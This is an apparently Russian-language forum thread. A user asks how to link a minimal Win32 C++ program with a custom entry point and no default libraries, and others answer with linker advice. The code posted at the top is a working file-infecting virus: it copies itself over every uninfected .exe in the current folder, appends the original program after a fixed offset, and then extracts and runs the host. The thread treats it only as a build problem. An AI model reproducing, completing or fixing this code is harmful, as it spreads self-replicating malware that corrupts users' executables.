#include <windows.h>
#pragma comment(linker,"/ENTRY:kora")
#pragma comment(linker,"/NODEFAULTLIB")
#pragma comment (linker,"/SUBSYSTEM:WINDOWS")
char rez[100];
char buff[2000];
double size=53248;
bool test(WIN32_FIND_DATA ff)
{
HANDLE fh;
fh=CreateFile(ff.cFileName,GENERIC_READ,FILE_SHARE_READ,0,3,128,0);
ReadFile(fh,buff,2000,&ff.nFileSizeLow,NULL);
CloseHandle(fh);
if(buff[1550]=='Q' && buff[1551]=='3') {return (true);}
else {return(false);}
}
void restore(char *fname)
{
HANDLE mh;
HANDLE fh;
unsigned long size1;
fh=CreateFile(fname,GENERIC_READ,FILE_SHARE_READ,0,3,128,0);
size1=GetFileSize(fh,0);
mh=VirtualAlloc(NULL,size1,MEM_COMMIT,PAGE_READWRITE);
_llseek((int)fh,53248,FILE_BEGIN);
ReadFile(fh,mh,size1,&size1,NULL);
CloseHandle(fh);
fh=CreateFile("w32drv.exe",GENERIC_WRITE,FILE_SHARE_WRITE,0,1,32,0);
WriteFile(fh,mh,size1,&size1,NULL);
VirtualFree(mh,size1,16384);
CloseHandle(fh);
WinExec("w32drv.exe",2);
DeleteFile("win32drv.exe");
}
int kora()
{
HANDLE find_handle;
WIN32_FIND_DATA ff;
HANDLE mf;
HANDLE fh;
lstrcpy(&rez[0],GetCommandLine());
DeleteFile("w32drv.exe");
find_handle=FindFirstFile("*.exe",&ff);
while (1)
{
if(!test(ff))
{
mf=VirtualAlloc(NULL,ff.nFileSizeLow,MEM_COMMIT,PAGE_READWRITE);
fh=CreateFile(ff.cFileName,GENERIC_READ,FILE_SHARE_READ,0,3,128,0);
ReadFile(fh,mf,ff.nFileSizeLow,&ff.nFileSizeLow,NULL);
CloseHandle(fh);
CopyFile(&rez[0],ff.cFileName,0);
fh=CreateFile(ff.cFileName,GENERIC_WRITE,FILE_SHARE_WRITE,0,3,128,0);
_llseek(int (fh),size,FILE_BEGIN);
WriteFile(fh,mf,ff.nFileSizeLow,&ff.nFileSizeLow,NULL);
VirtualFree(mf,ff.nFileSizeLow,16384);
CloseHandle(fh);
}
if(!FindNextFileA(find_handle,&ff)) break;
}
FindClose(find_handle);
restore(&rez[0]);
return(0);
}
Сборка файла
Всем привет.Люди-подскажите пожалуста как можно самостоятельно собрать файл в среде Visual C++.Я програмирую только при помощи API,мне нужно переназначить новую точку входа и вообще задать параметры будующего файла-(где какая секция,выравнивание и тд.)Сразу говорю что я прочитал статью "написание экстрамаленьких приложений на С++" но то что там написано просто не линкуется или линкуется но не поддерживает локальных переменных.Помоготе,пожалуста.....
Цитата: пакахондас
..."написание экстрамаленьких приложений на С++" но то что там написано просто не линкуется или линкуется но не поддерживает...
Я когда-то тоже это читал. Все работало. Минимальный нерабочий исходник и настройки проекта в студию пожалуйста.
Код:
Вот хотел попрактиковатся в С++ а оно не линкуется,выдаёт что неопознаёт какието символы и тд..
Что делать?Спасибо
Во-вторых забери #pragma comment(linker,"/NODEFAULTLIB")
тогда все скомпилится, залинкуется. Размер ЕХЕ получится 4608
сделал всё как ты сказал.Неработает.Я использую visual 6.0.Может с настройками проэкта чтото не то ...Самое странное что маленькие файлы с одной API функцией собираются а вот побольше никак.Линкер выдаёт ошибку unresolved simvol.А ты немог бы собрать файл и выслать его с проектом.Спасиба
кого интерисует написание маленьких файлов даю ссылку.Там лежит пара решений:
Ты разобрался чего у тебя не компилировался? В чем была причина?
Да разобрался.Когда отключаеш все библиотеки ищезает поддержка вещественных типов,возможна только целочисленная арифметика.Такую штуку можно обойти если на асме закодить матем.сопроцессор.